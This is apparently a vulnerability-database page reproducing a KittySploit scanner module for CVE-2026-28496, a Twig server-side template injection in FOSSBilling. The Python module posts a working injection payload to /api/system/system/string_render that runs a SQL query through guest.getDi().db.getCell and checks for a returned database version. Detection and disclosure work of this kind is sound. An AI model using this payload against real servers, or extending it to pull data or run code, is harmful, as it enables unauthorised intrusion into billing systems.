Lucene search
+L

FOSSBilling - Server-Side Template Injection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

SSTI in FOSSBilling string_render API allows SQL and info disclosure.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-28496
10 Sep 202607:18
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-28496
29 Jun 202614:39
–githubexploit
attackerkb
attackerkb
CVE-2026-42347
26 May 202614:34
–attackerkb
attackerkb
attackerkb
CVE-2026-28496
23 Jun 202614:20
–attackerkb
circl
Circl
CVE-2026-28496
23 Jun 202607:40
–circl
cve
CVE
CVE-2026-28496
23 Jun 202614:20
–cve
cvelist
Cvelist
CVE-2026-28496 FOSSBilling: Server-side template injection in Twig template rendering enables information disclosure and RCE
23 Jun 202614:20
–cvelist
euvd
EUVD
EUVD-2026-38455
23 Jun 202614:20
–euvd
kitploit
Kitploit
CVE-2026-28496
8 Oct 202619:38
–kitploit
kitploit
Kitploit
CVE-2026-28496-Lab
13 Oct 202612:27
–kitploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FOSSBilling - Server-Side Template Injection"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        "name": "FOSSBilling - Server-Side Template Injection",
        "description": (
            "FOSSBilling string_render API evaluates unsandboxed Twig, allowing "
            "SQL/info disclosure via guest.getDi().db.getCell."
        ),
        "author": ["KittySploit Team"],
        "severity": "critical",
        "cve": "CVE-2026-28496",
        "tags": ["web", "scanner", "cve", "cve2026", "vuln", "fossbilling", "ssti", "rce", "vkev"],
        "agent": {
            "risk": "active",
            "effects": ["network_probe"],
            "expected_requests": 1,
            "reversible": True,
            "approval_required": False,
            "produces": ["tech_hints", "risk_signals", "endpoints"],
            "cost": 1.0,
            "noise": 0.2,
            "value": 1.0,
        },
        "references": [
            "https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce",
            "https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-28496",
        ],
    }

    def run(self):
        # Keep Twig braces literal in the JSON body.
        data = (
            '{"_tpl":"{{ guest.getDi().db.getCell(\\"SELECT @@version\\") }}",'
            '"_try":false}'
        )
        r = self.http_request(
            method="POST",
            path="/api/system/system/string_render",
            headers={"Content-Type": "application/json"},
            data=data,
            allow_redirects=False,
        )
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        ctype = (r.headers.get("Content-Type") or r.headers.get("content-type") or "").lower()
        if "application/json" not in ctype:
            return False
        if '{"result":"' not in body and '"result":' not in body:
            return False
        if not re.search(r"[0-9]+\.[0-9]+\.[0-9]+", body):
            return False
        self.set_info(
            severity="critical",
            cve="CVE-2026-28496",
            reason="FOSSBilling string_render executed Twig SSTI and returned DB version",
            path="/api/system/system/string_render",
            confidence="high",
        )
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
5.8Medium risk
Vulners AI Score5.8
CVSS 49.4
EPSS0.01905
SSVC
3